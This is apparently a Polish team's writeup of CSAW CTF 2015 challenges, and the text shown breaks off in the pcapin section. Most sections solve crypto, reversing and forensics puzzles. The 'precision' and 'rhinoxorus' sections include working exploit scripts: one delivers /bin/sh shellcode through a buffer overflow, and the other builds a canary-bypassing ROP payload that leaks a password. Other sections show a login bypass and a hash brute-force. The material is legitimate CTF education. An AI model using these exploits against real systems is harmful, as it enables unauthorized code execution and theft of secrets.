<font size="6">Writeup CSAW CTF 2015</span>

Uczestniczyliśmy (@msm, @Rev, @Shalom, @other019 i @nazywam ) w CSAW CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).

Jeśli chodzi o CTF, zajeliśmy 49 miejsce, na 1367 zespołów biorcych udział (i majcych > 0 punktów), więc w sumie nieźle.

To chyba nasz największy writeup, trochę się baliśmy czy Coyote wytrzyma, ale dzielnie dało radę.

<font size="6">Ogólne wrażenia:</span>

Konkurs miał kilka ciekawych zadań, ale jednak troche odbiegał od tego czego można oczekiwać po ctf'ie z prawdziwego zdarzenia. Niektóre zadania opierały się na zgadywaniu tego co autorzy mieli na myśli, w szczególności notesy i airport.

A teraz opisy zadań po kolei.

<font size="6">Spis treści:</span>

  • web 100 K_{Stairs}
  • Lawn Care Simulator (web 200)
  • exploit 100 precision
  • exploit 300 FTP 2
  • exploit 400 memeshop
  • exploit 500 rhinoxorus
  • ones_and_zer0es (crypto 50)
  • whiter0se (crypto 50)
  • zer0-day (crypto 50)
  • notesy (crypto 100)
  • reversing 200 Hacking Time
  • FTP (reversing 300)
  • wyvern (reversing 500)
  • Keep Calm and CTF (forensics 100)
  • forensics 100 Transfer
  • Flash (forensics 100)
  • pcapin (forensics 150)
  • forensics 200 airport
  • sharpturn (forensics 400)
  • Julian Cohen (recon 100)
  • Alexander Taylor (recon 100)
  • Trivia 1 (trivia 10)
  • Trivia 2 (trivia 10)
  • Trivia 3 (trivia 10)
  • Trivia 4 (trivia 10)
  • Trivia 5 (trivia 10)
  • Math aside, we are all black hats Now (trivia 10)
  • Weebdate (web 500)

<font size="6">web 100 K_{Stairs}</span>
(n/a)

<font size="6">Lawn Care Simulator (web, 200p, 450 solves)</span>
http://54.165.252.74:8089/

Zadanie polegało na zalogowaniu się do konta premium w internetowym symulatorze hodowania trawy.
Standardowe próby wykonania SQL Injection na polach formularza nie przyniosły efektów, ale pozwoliły zaobserwować, że dane wpisane w pole z hasłem są hashowane po stronie przeglądarki jeszcze przed wysłaniem.

bb9a864eb6.png

Zajęliśmy się więc podmienianiem parametrów w formularzu po operacji hashowania. Co prawda pole z hasłem po stronie przeglądarki było sprawdzane aby upewnić się że nie jest puste, ale za pomocą Tamper Data sprawdziliśmy co się stanie jeśli wyślemy puste hasło dla losowego użytkownika...

b670fab4a6.png

Tym samym zupełnie przypadkiem ominęliśmy praktycznie wszystkie pułapki zastawione przez autorów zadania i nie musieliśmy poświęcać cennego czasu na analizę kodu strony (do którego można było uzyskać dostęp poprzez link w źródle strony). Późniejsza analiza pozwoliła stwierdzić, że przypadkiem wykorzystaliśmy faktyczną lukę w skrypcie, nie tą zamierzoną przez autorów zadania :)

<font size="6">precision (pwn, 100p, 272 solves)</span>

nc 54.173.98.115 1259
precision_a8f6f0590c177948fe06c76a1831e650

Pobieramy udostępnioną binarkę i na początek sprawdzamy jakie utrudnienia przygotowali nam autorzy.

checksec.sh --file precision

RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision

Widać, że nieduże ;).

Krótka analiza w IDA pokazuje nam, że program:

  1. Realizuje własną wariację stack guard (dla małego utrudnienia jako liczbę zmiennoprzecinkową).
  2. Wypisuje adres bufora oraz za pomocą scanf pobiera do niego od nas dane (za pomocą specyfikatora %s nieograniczającego wielkość).
  3. Sprawdza wartość cookie/canary, wypisuje nasz bufor i wychodzi za pomocą zwykłego ret.

Mamy więc do czynienia z prostym buffer overflow z umieszczeniem shellcode'u na stosie (brak NX oraz podany adres bufora).

import socket

s = socket.socket()
s.connect(('54.173.98.115', 1259))

buf_addr = s.recv(17)[8:16]

s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/sh
s.send('a5315a4755155040'.decode('hex')) # stack guard
s.send('aaaaaaaaaaaa') # padding
s.send(buf_addr.decode('hex')[::-1]) # ret: buffer address
s.send('\n')
print (s.recv(9999))
s.send('cat flag\n')
print (s.recv(9999))
s.close()

Oraz wynik:

flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

<font size="6">exploit 400 memeshop</span>
(n/a)

<font size="6">rhinoxorus (pwn, 500p, ? solves)</span>

Dostajemy program i analizujemy go. Po uruchomieniu wczytuje on zawartość pliku password.txt do zmiennej globalnej, i zaczyna nasłuchiwać na porcie 24242 i forkuje się dla każdego połączenia.

Każdy fork wczytuje 256 bajtów od usera i wywołuje jakąś funkcję z globalnej tablicy funkcji:

bytes_read = recv(sockfd, recv_buf, (unsigned int)BUF_SIZE, 0);
if (bytes_read > 0)
    func_array[recv_buf[0]](recv_buf, (unsigned int)bytes_read);

Każda z funkcji jest podobna, i wygląda mniej więcej tak:

unsigned char func_32(unsigned char *buf, unsigned int count)
{
    unsigned int i;
    unsigned char localbuf[0x84]; // stała 0x84 jest różna dla każdej funkcji w tablicy
    unsigned char byte=0x84; // stała 0x84 jest różna dla każdej funkcji w tablicy

    memset(localbuf, byte, sizeof(localbuf));
    printf("in function func_32, count is %u, bufsize is 0x84\n", count);

    if (0 == --count)
         return 0;

    for (i = 0; i < count; ++i)
         localbuf[i] ^= buf[i];

    func_array[localbuf[0]](localbuf+1, count);
    return 0;
}

Od razu widać że łatwo wywołać przepełnienie bufora, ale niestety - stos jest chroniony kanarkami więc nie będzie tak łatwo.

W kodzie widać też nieużywaną nigdzie funkcję socksend która wysyła podany w argumencie bufor do podanego w argumencie socketa.

Po chwili zastanowienia dochodzimy do wniosku że możemy pominąć kanarka po prostu xorując go z zerami. Następnie jedyne co musimy zrobić, to nadpisać adres powrotu w odpowiedni sposób, tak żeby wywołać funkcję socksend z parametrami socksend(fd, password, BUF_SIZE) (w ten sposób program sam wyśle do nas flagę).

Niestety nie jest tak prosto, na stosie nie ma wystarczająco wiele miejsca żeby zmieścic argumenty dla funkcji socksend (po nadpisaniu zmiennej 'counter' kończy się wykonanie funkcji). Ale jeśli postaramy się, możemy przeskoczyć do ramki funkcji niżej:

aa.png

Znaleźliśmy do tego odpowiedni gadget na stosie:

gadget_pop:
add     esp, 0Ch    ; pominięcie 3 elementów na stosie
pop     ebx         ; zdjęcie elementu ze stosu (i zapisanie do ebx)
pop     esi         ; zdjęcie elementu ze stosu (i zapisanie do esi)
pop     edi         ; zdjęcie elementu ze stosu (i zapisanie do edi)
pop     ebp         ; zdjęcie elementu ze stosu (i zapisanie do ebp)
retn                ; zdjęcie elementu ze stosu i skoczenie od niego

Więc ostateczny plan jest taki: skaczemy pod ten gadget, on zdejmuje odpowiednią ilość parametrów ze stosu, wtedy wykonanie trafia na początek naszego czystego, niexorowanego bufora w pamięci i możmy zrobić co tylko chcemy.

Skrypt którego użyliśmy:

# -*- coding: utf-8 -*-
import struct, socket

HOST = '54.152.37.20'
PORT = 24242

s = socket.socket()
s.connect((HOST, PORT))

# oryginalny adres powrotu na stosie
first_return_addr = 0x08056AFA
# placeholder na zmienne których zawartość jest nieważna
placeholder = 'xxxx'

gadget_pop_xor = struct.pack('<I', 0x080578f5 ^ first_return_addr)
password_addr = struct.pack('<I', 0x0805F0C0)
socksend_addr = struct.pack('<I', 0x0804884B)
exit_addr = struct.pack('<I', 0x08048670)

def get_payload(counter):
    # xorujemy z 1, bo chcemy żeby counter przyjął 1
    counter_xor = struct.pack('<I', counter ^ 1)
    # składamy payload
    return (
            # adres funkcji socksend (znany)
            socksend_addr
            # adres powrotu z funkcji socksend do exit
            + exit_addr
            # deskryptor dla socksend (przewidywana wartość)
            + struct.pack('<I', 4)
            # adres zmiennej globalnej password dla socksend
            + password_addr
            # ilość bajtów do przeczytania dla socksend
            + struct.pack('<I', 256)
            # wolne miejsce na stosie (niezajęta część bufora)
            + placeholder * 39
            # xorowane z kanarkiem
            + '\0\0\0\0'
            # puste miejsce na stosie
            + placeholder * 3
            # podmieniamy adres powrotu na gadget_pop
            + gadget_pop_xor
            # xorowane z niepotrzebnym już argumentem z adresem bufora
            + placeholder
            # zerowanie countera
            + counter_xor
            )

# zmierzenie długości payloadu
payload_length = len(get_payload(123))
# i stworzenie ostatecznego payloadu
payload = get_payload(payload_length - 1)
s.send(payload)
print s.recv(99999)

I udaje się - skrypt który napisaliśmy zadziałał. Zdobyliśmy w ten sposób upragnioną flagę:
cc21fe41b44ba70d0e6978c840698601

<font size="6">ones_and_zer0es (crypto, 50p, 987 solves)</span>

eps1.1_ones-and-zer0es_c4368e65e1883044f3917485ec928173.mpeg

Pobieramy wskazany plik. Jego zawartość to:

01100110011011000110000101110100011110110101000001100101011011110111000001101100011001010010000001100001011011000111011101100001
01111001011100110010000001101101011000010110101101100101001000000111010001101000011001010010000001100010011001010111001101110100
00100000011001010111100001110000011011000110111101101001011101000111001100101110011111010010000001001001001001110111011001100101
00100000011011100110010101110110011001010111001000100000011001100110111101110101011011100110010000100000011010010111010000100000
01101000011000010111001001100100001000000111010001101111001000000110100001100001011000110110101100100000011011010110111101110011
01110100001000000111000001100101011011110111000001101100011001010010111000100000010010010110011000100000011110010110111101110101
00100000011011000110100101110011011101000110010101101110001000000111010001101111001000000111010001101000011001010110110100101100
00100000011101110110000101110100011000110110100000100000011101000110100001100101011011010010110000100000011101000110100001100101
01101001011100100010000001110110011101010110110001101110011001010111001001100001011000100110100101101100011010010111010001101001
01100101011100110010000001100001011100100110010100100000011011000110100101101011011001010010000001100001001000000110111001100101
01101111011011100010000001110011011010010110011101101110001000000111001101100011011100100110010101110111011001010110010000100000
01101001011011100111010001101111001000000111010001101000011001010110100101110010001000000110100001100101011000010110010001110011
00101110

Robimy pierwszą oczywistą rzecz i dekodujemy te bity jako tekst:

flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, th2(...)

Mamy flagę i 50 punktów

<font size="6">wh1ter0se (crypto, 50p, 753 solves)</span>

Note: The flag is the entire thing decrypted
eps1.7_wh1ter0se_2b007cf0ba9881d954e85eb475d0d5e4.m4v

Pobieramy wskazany plik. Jego zawartość to:

    EOY XF, AY VMU M UKFNY TOY YF UFWHYKAXZ EAZZHN. UFWHYKAXZ ZNMXPHN. UFWHYKAXZ
    EHMOYACOI. VH'JH EHHX CFTOUHP FX VKMY'U AX CNFXY FC OU. EOY VH KMJHX'Y EHHX
    IFFQAXZ MY VKMY'U MEFJH OU.

Nie jest to cezar ani nic podobnego, ale wygląda na jakiś szyfr podstawny. Po chwili kombinowania, postanawiamy wrzucić to do jakiegoś odpowiedniego solvera, z dobrym skutkiem:

    BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING
    BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN
    LOOKING AT WHAT'S ABOVE US.

Mamy flagę i 50 punktów

<font size="6">zer0-day (crypto, 50p, 824 solves)</span>

eps1.9_zer0-day_b7604a922c8feef666a957933751a074.avi

Pobieramy wskazany plik. Jego zawartość to:

RXZpbCBDb3JwLCB3ZSBoYXZlIGRlbGl2ZXJlZCBvbiBvdXIgcHJvbWlzZSBhcyBleHBlY3RlZC4g\n
VGhlIHBlb3BsZSBvZiB0aGUgd29ybGQgd2hvIGhhdmUgYmVlbiBlbnNsYXZlZCBieSB5b3UgaGF2\n
ZSBiZWVuIGZyZWVkLiBZb3VyIGZpbmFuY2lhbCBkYXRhIGhhcyBiZWVuIGRlc3Ryb3llZC4gQW55\n
IGF0dGVtcHRzIHRvIHNhbHZhZ2UgaXQgd2lsbCBiZSB1dHRlcmx5IGZ1dGlsZS4gRmFjZSBpdDog\n
eW91IGhhdmUgYmVlbiBvd25lZC4gV2UgYXQgZnNvY2lldHkgd2lsbCBzbWlsZSBhcyB3ZSB3YXRj\n
aCB5b3UgYW5kIHlvdXIgZGFyayBzb3VscyBkaWUuIFRoYXQgbWVhbnMgYW55IG1vbmV5IHlvdSBv\n
d2UgdGhlc2UgcGlncyBoYXMgYmVlbiBmb3JnaXZlbiBieSB1cywgeW91ciBmcmllbmRzIGF0IGZz\n
b2NpZXR5LiBUaGUgbWFya2V0J3Mgb3BlbmluZyBiZWxsIHRoaXMgbW9ybmluZyB3aWxsIGJlIHRo\n
ZSBmaW5hbCBkZWF0aCBrbmVsbCBvZiBFdmlsIENvcnAuIFdlIGhvcGUgYXMgYSBuZXcgc29jaWV0\n
eSByaXNlcyBmcm9tIHRoZSBhc2hlcyB0aGF0IHlvdSB3aWxsIGZvcmdlIGEgYmV0dGVyIHdvcmxk\n
LiBBIHdvcmxkIHRoYXQgdmFsdWVzIHRoZSBmcmVlIHBlb3BsZSwgYSB3b3JsZCB3aGVyZSBncmVl\n
ZCBpcyBub3QgZW5jb3VyYWdlZCwgYSB3b3JsZCB0aGF0IGJlbG9uZ3MgdG8gdXMgYWdhaW4sIGEg\n
d29ybGQgY2hhbmdlZCBmb3JldmVyLiBBbmQgd2hpbGUgeW91IGRvIHRoYXQsIHJlbWVtYmVyIHRv\n
IHJlcGVhdCB0aGVzZSB3b3JkczogImZsYWd7V2UgYXJlIGZzb2NpZXR5LCB3ZSBhcmUgZmluYWxs\n
eSBmcmVlLCB3ZSBhcmUgZmluYWxseSBhd2FrZSF9Ig==

Na pierwszy rzut oka to base64, wystarczy go zdekodować (pamiętając żeby "\n" nie traktowąc literalnie tylko wyciąć)

Evil Corp, we have delivered on our promise as expected. The people of the
world who have been enslaved by you have been freed. Your financial data has
been destroyed. Any attempts to salvage it will be utterly futile. Face it: you
have been owned. We at fsociety will smile as we watch you and your dark souls
die. That means any money you owe these pigs has been forgiven by us, your
friends at fsociety. The market's opening bell this morning will be the final
death knell of Evil Corp. We hope as a new society rises from the ashes that
you will forge a better world. A world that values the free people, a world
where greed is not encouraged, a world that belongs to us again, a world
changed forever. And while you do that, remember to repeat these words:
"flag{We are fsociety, we are finally free, we are finally awake!}"

Mamy flagę i 50 punktów

<font size="6">Notesy (crypto, 100p, 1064 solves)</span>

http://54.152.6.70/
The flag is not in the flag{} format.
HINT: If you have the ability to encrypt and decrypt, what do you think the flag is?
HINT:

Pod wskazanym adresem znajduje się strona z textboxem, który szyfruje wpisany text.

d6297aaaba.png

Strona robiła zapytanie GET do skryptu encrypt.php, który jako parametr m przyjmował wiadomość do zaszyfrowania. Placeholder w tekst boksie brzmiał Give me like a note dude, javascript odmawiał szyfrowania wiadomości krótszych niż 5 znaków. Próbowaliśmy na prawdę różnych rzeczy, wysyłania wiadomości bardzo krótkich i bardzo długich.

Już wiecie co jest flagą? My też nie wiedzieliśmy jak ją wydobyć… przez 20 godzin… trzymając ją w rękach…

Już po godzinie od rozpoczęcia konkursu (nie wiemy kiedy zabraliśmy sie za to zadanie) stwierdziliśmy, że zależność między literkami przedstawia się następująco

ABCDEFGHIJKLMNOPQRSTUVWXYZ
UNHMAQWZIDYPRCJKBGVSLOETXF

Próbowaliśmy naprawdę nieschematycznego myślenia, ale nic nie pomogło. Dopiero pierwsza wskazówka przyniosła nam myśl, że flagą musi być klucz, a z racji, że to szyfr podstawieniowy kluczem będzie UNHMAQWZIDYPRCJKBGVSLOETXF. Najbardziej frustrujące zadanie z jakim się ostatnio spotkaliśmy.

<font size="6">Hacking Time (re, 200p, 180 solves)</span>

We’re getting a transmission from someone in the past, find out what he wants.
HackingTime.nes

Pobieramy udostępniony plik, który okazuje się obrazem aplikacji na Nintendo Entertainment System, 8-bitową konsolę, którą każdy zna i lubi :). Zadanie polega na podaniu hasła, które jednocześnie będzie flagą w tym zadaniu.

Zamiast statycznie analizować to zadanie, spróbujemy rozwiązać je "na żywo" w emulatorze FCEUX z jego zintegrowanym debuggerem. Krótka eksperymentacja pozwala nam stwierdzić, że sprawdzenie hasła oprócz zmiany samego bufora z hasłem w pamięci modyfikuje nam również bajty od offsetu 0x1e.

23639ad889.png

Ustawiamy w takim razie read breakpoint na tym adresie i przy ponownej próbie sprawdzenia hasła trafiamy na następujący fragment:

 00:8337:A0 00     LDY #$00
>00:8339:B9 1E 00  LDA $001E,Y @ $001E = #$80
 00:833C:D0 08     BNE $8346
 00:833E:C8        INY
 00:833F:C0 18     CPY #$18
 00:8341:D0 F6     BNE $8339
 00:8343:A9 01     LDA #$01
 00:8345:60        RTS -----------------------------------------
 00:8346:A9 00     LDA #$00
 00:8348:60        RTS -----------------------------------------

Jest to pętla, która sprawdza nam 0x18 znaków zaczynając od naszego offsetu 0x1e. Jeżeli któryś z bajtów nie wynosi 0 to funkcja wychodzi z wartością 0, a w przeciwnym wypadku z 1. Bezpośrednia zmiana IP na instrukcję spod 0x8343 i wznowienie programu potwierdza nam komunikatem o sukcesie, że to jest celem zadania. Musimy zatem wprowadzić takie hasło by bajty spod offsetu 0x1e wynosiły same zera. Możemy dokonać statycznej analizy albo literka po literce zbruteforce'ować nasze hasło (a to dzięki temu, że zmiana następnych liter nie zmienia nam bajtów poprzednich). Postanowiliśmy skorzystać z tej drugiej metody.

Hasłem oraz flagą okazał się ciąg: NOHACK4UXWRATHOFKFUHRERX. Cała aplikacja jest oczywiście zabawnym nawiązaniem do filmu "Kung Fury" :)!

<font size="6">FTP (re, 300p, 214 solves)</span>

We found an ftp service, I'm sure there's some way to log on to it.

nc 54.172.10.117 12012
ftp_0319deb1c1c033af28613c57da686aa7

Pobieramy zalinkowany plik i ładujemy do IDY. Jest to faktycznie, zgodnie z opisem, serwer FTP.

W stringach znajdujących się w binarce znajdujemy napis zawierający wszystkie komendy wspierane przez serwer (w helpie):

USER PASS PASV PORT
NOOP REIN LIST SYST SIZE
RETR STOR PWD CWD

Przeglądamy chwilę funkcje znajdujące się w binarce, i najciekawsza wydaje sie ta odpowiadająca "nieudokumentowanej" funkcji RDF:

    mov     [rbp+ptr], rax
    mov     esi, offset aR  ; "r"
    mov     edi, offset filename ; "re_solution.txt"
    call    _fopen
    ; (...)
    mov     rdx, [rbp+stream]
    mov     rax, [rbp+ptr]
    mov     rcx, rdx        ; stream
    mov     edx, 1          ; n
    mov     esi, 28h        ; size
    mov     rdi, rax        ; ptr
    call    _fread
    mov     rax, [rbp+var_18]
    mov     eax, [rax]
    mov     rdx, [rbp+ptr]
    mov     rsi, rdx
    mov     edi, eax
    call    send_string_to_client

Niestety, wywołanie tej funkcji wymaga autentykacji do systemu. Patrzymy więc na funkcje odpowiadającą za zalogowanie.

Wygląda ona mniej więcej tak (po ręcznym przepisaniu do C)

    unsigned hash(char *txt)
    {
      int v = 5381;
      for (int i = 0; txt[i]; ++i )
        v = 33 * v + txt[i];
      return (unsigned)v;
    }

    bool login_ok(char *username, char *password) {
         return strcmp(username, "blankwall") == 0 && hash(password) == 3548828169;
    }

(A przynajmniej to ważne fragmenty z tej funkcji, samo wczytywanie i wysyłanie tekstu do klienta pominęliśmy).

Funkcja hashująca jest jak widać bardzo prosta, więc można było spróbować ją złamać. I nie byłoby to bardzo trudne, ale poszliśmy prostszą drogą - zauważyliśmy że jest "monotoniczna" (czyli każdy kolejny znak w haśle ma coraz mniejszy wpływ na wynik hasha, czyli możemy zgadywać hasło znak po znaku). Napisaliśmy do tego narzędzie:

    int main(int argc, char *argv[]) {
        char c[1000];
        puts("3548828169");
        unsigned rzecz = rzeczy(argv[1]); 
        printf("%u\n", rzecz);
        if (rzecz > 3548828169) {
            puts("2much");
        } else if (rzecz < 3548828169) {
            puts("2low");
        } else {
            puts("just enough");
        }
    }

Przykładowa interakcja z programem (z komentarzami):

    msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
    $ ./a.exe Taaaaa
    3548828169
    3538058430
    2low    (czyli `Ta` to za niski prefiks)
    
    msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
    $ ./a.exe Tlaaaa
    3548828169
    3551103561
    2much    (czyli `Tl` to za wysoki prefiks)
    
    msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
    $ ./a.exe Tkaaaa
    3548828169
    3549917640
    2much    (czyli `Tk` to za wysoki prefiks)
    
    msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
    $ ./a.exe Tjaaaa
    3548828169
    3548731719
    2low     (czyli `Tj` to za niski prefiks)
    
    msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
    $ ./a.exe TkCaaa
    3548828169
    3548839530
    2much    (czyli `Tk` jednak było ok, teraz próbujemy zmniejszyć trzeci znak)
    
    msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/pwn_300_ftp
    $ ./a.exe TkBaaa
    3548828169
    3548803593
    2low     (czyli `TkC` jest dobrym strzałem, bo `TkCa` jest za wysokie, `TkBa` już jest za niskie)
    
    (itd, itd)

W ten sposób trafiamy na hasło - TkCWRy. Przy wpisywaniu go do nc trzeba pamiętać żeby zakończyć wpisywanie za pomocą C-d zamiast entera, bo inaczej hash liczy się ze znakiem nowej linii i wychodzi błędny.

Więc mamy hasło i usera, wystarczy wykonać komendę pobierającą flagę:

    $ nc -vv 54.172.10.117 12012
    Connection to 54.172.10.117 12012 port [tcp/*] succeeded!
    Welcome to FTP server
    USER blankwall
    Please send password for user blankwall
    PASS TkCWRylogged in
    RDF
    flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}

Gotowe.

<font size="6">wyvern (re, 500p, 96 solves)</span>
To zadanie prawdopodobnie byłoby bardzo trudne do zrobienia "klasycznie" (w końcu 500 punktów), ale nam udało się je zrobić bardzo szybko za pomocą statycznej analizy (i odrobiny intuicji, a.k.a. zgadywania).

Otwieramy binarkę, i wita nas ściana kodu napisanego w C++ (tzn. ściana asemblera, która pewnie powstała ze średniej ilości kodu napisanego w C++ z szablonami, ale tak czy inaczej dość przytłaczająca). Zamiast zabierać się na ślepo do analizy krok po kroku przeglądamy kod statycznie, i znajdujemy ciekawy fragment:

    secret_100      dd 64h 
    secret_214      dd 0D6h
    secret_266      dd 10Ah
    secret_369      dd 171h
    secret_417      dd 1A1h
    secret_527      dd 20Fh
    secret_622      dd 26Eh
    secret_733      dd 2DDh
    secret_847      dd 34Fh
    secret_942      dd 3AEh
    secret_1054     dd 41Eh
    secret_1106     dd 452h
    secret_1222     dd 4C6h
    secret_1336     dd 538h
    secret_1441     dd 5A1h
    secret_1540     dd 604h
    secret_1589     dd 635h
    secret_1686     dd 696h
    secret_1796     dd 704h
    secret_1891     dd 763h
    secret_1996     dd 7CCh
    secret_2112     dd 840h
    secret_2165     dd 875h
    secret_2260     dd 8D4h
    secret_2336     dd 920h
    secret_2412     dd 96Ch
    secret_2498     dd 9C2h

Co w nim takiego ciekawego? No więc mamy trochę liczb, ułożonych rosnąco. Pierwsza liczba < 0x80, i każda kolejna jest większa od poprzedniej o mniej niż 0x80.

A gdyby tak zrobić ślepy strzał i sprawdzić narzucającą się rzecz?:

    >>> nums = [
    ...     0x64, 0x0D6, 0x10A, 0x171, 0x1A1, 0x20F, 0x26E, 0x2DD,
    ...     0x34F, 0x3AE, 0x41E, 0x452, 0x4C6, 0x538, 0x5A1, 0x604,
    ...     0x635, 0x696, 0x704, 0x763, 0x7CC, 0x840, 0x875, 0x8D4,
    ...     0x920, 0x96C, 0x9C2, 0xA0F
    ... ]
    >>> print ''.join(chr(b - a) for a, b in zip([0] + nums, nums))
    dr4g0n_or_p4tric1an_it5_LLVM

Szybko poszło, jesteśmy 500 punktów do przodu

<font size="6">Keep Calm and CTF (forensics, 100p, 1064 solves)</span>

My friend sends me pictures before every ctf. He told me this one was special.
Note: this flag doesn't follow the "flag{}" format

dbf4ca1902.png

Pierwszą rzeczą jaką robimy w takich sytuacjach jest przejrzenie hexdumpu, tak na wszelki wypadek. Może na końcu jest dopisany jeszcze jeden plik np. .zip albo .png z flagą. Zrobiliśmy to poleceniem xxd img.jpg | less.

0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0048  ......JFIF.....H
0000010: 0048 0000 ffe1 0058 4578 6966 0000 4d4d  .H.....XExif..MM
0000020: 002a 0000 0008 0003 0128 0003 0000 0001  .*.......(......
0000030: 0002 0000 0213 0003 0000 0001 0001 0000  ................
0000040: 8298 0002 0000 001d 0000 0032 0000 0000  ...........2....
0000050: 6831 6431 6e67 5f69 6e5f 346c 6d30 7374  h1d1ng_in_4lm0st
0000060: 5f70 6c61 316e 5f73 6967 6837 0000 ffdb  _pla1n_sigh7....

I mamy następną flagę.

<font size="6">Transfer (forensics, 100p, 541 solves)</span>

I was sniffing some web traffic for a while, I think i finally got something interesting. Help me find flag through all these packets.
net_756d631588cb0a400cc16d1848a5f0fb.pcap

Pobrany plik pcap ładujemy do Wiresharka żeby po chwili przeglądania transmisji HTTP (menu File -> Export Objects -> HTTP) znaleźć następujący kod źródłowy programu:

import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
	_rot13 = string.maketrans( 
    	"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
    	"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
	return string.translate(s, _rot13)

def b64e(s):
	return b64encode(s)

def caesar(plaintext, shift=3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)

def encode(pt, cnt=50):
	tmp = '2{}'.format(b64encode(pt))
	for cnt in xrange(cnt):
		c = random.choice(enc_ciphers)
		i = enc_ciphers.index(c) + 1
		_tmp = globals()[c](tmp)
		tmp = '{}{}'.format(i, _tmp)

	return tmp

if __name__ == '__main__':
	print encode(FLAG, cnt=?)

W tej samej transmisji (opcja Follow TCP Stream) była również zakodowana wiadomość.

Po odwróceniu wszystkich algorytmów otrzymujemy taki program dekodujący:

import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

#enc_ciphers = ['rot13', 'b64e', 'caesar']
dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
	_rot13 = string.maketrans( 
    	"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
    	"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
	return string.translate(s, _rot13)

def b64d(s):
	return b64decode(s)

def caesard(plaintext, shift=-3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)

def encode(pt, cnt=50):
	tmp = '2{}'.format(b64encode(pt))
	for cnt in xrange(cnt):
		c = random.choice(enc_ciphers)
		i = enc_ciphers.index(c) + 1
		_tmp = globals()[c](tmp)
		tmp = '{}{}'.format(i, _tmp)

	return tmp

def decode(pt, cnt=61):
    for i in xrange(cnt):
        c = pt[0]
        if c == '1':
            pt = rot13(pt[1:])
        if c == '2':
            pt = b64d(pt[1:])
        if c == '3':
            pt = caesard(pt[1:])

    print pt

if __name__ == '__main__':
    x = '2Mk16(...)bVJWTVVwM1UyNW5WV1ZYYTNKVVZWSlhVakZhVmxkdlNtNU5WVXBUVlVaUmVsQlJQVDA9'
    decode(x)

Odkodowana wiadomość i flaga to: flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}.

<font size="6">Flash (forensics, 100p, 809 solves)</span>
We were able to grab an image of a hard drive. Time to find out what's on it..

Dostajemy 128MB obraz dysku.
Nie myśleliśmy nawet o tym, żeby go montować, bo spodziewaliśmy się pustego dysku (pisząc writeup pokusiliśmy się o to i się nieźle zdziwilismy ). Pierwszą rzeczą jaka przyszła nam do głowy był photorec, który nie znalazł nic ciekawego, dlatego wykonalismy strings flash_c8429a430278283c0e571baebca3d139.img | grep flag.

Dostajemy flagę flag{b3l0w_th3_r4dar}.

<font size="6">pcapin (forensics, 150p, 41 solves)</span>

We have extracted a pcap file from a network where attackers were present. We know they were using some kind of file transfer protocol on TCP port 7179. We're not sure what file or files were transferred and we need you to investigate. We do not believe any strong cryptography was employed.

Hint: The file you are looking for is a png
pcapin_73c7fb6024b5e6eec22f5a7dcf2f5d82.pcap

Dostajemy plik .pcap. Jest w nim tylko jeden interesujący stream tcp, więc wyciągamy od razu z niego dane (tylko wysyłane z serwera do klienta, chociaż wygląda na to że klient wysyła dane tym samym protokołem) do osobnego pliku.

W tym momencie rozpoczyna się analiza protokołu. Np. na pierwszy rzut oka widać powtarzający się fragment 00440000073200010000000000 w pierwszej części, a później wariacje na temat 00D423C60732001C00010000.

Oszczędzimy może analizy krok po kroku (bo była długa i burzliwa), ale kluczowe było zauważenie że dane dzielą się na pakiety, i pierwszy word każdego pakietu to długość tego pakietu. Wtedy możemy podzielić odpowiedź na pakiety, i widzimy dodatkowo że odpowiedź kończy sie zawsze bajtami END.

Z tą wiedzą dekodujemy wszystkie pakiety po kolei, używamy trochę domyślności i dochodzimy do takiej oto struktury:

    struct packet {
        uint16_t length;
        uint16_t hash;
        uint16_t magic1;
        uint16_t conn_id;
        uint16_t seq_id;
        uint16_t unk2;
        uint8_t raw[10000];
    };

Napisaliśmy mały tool do dumpowania zawartości poszczególnych pakietów z tej struktury:

    msm@andromeda /cygdrive/c/Users/msm/Code/RE/CTF/2015-09-16 csaw/forensics_200_pcapin
    $ ./a.exe
    PACKET 0
     - size: 68 bytes
     - hash:  0
     - magic1: 732
     - conn_id:  1
     - seq_id:  0
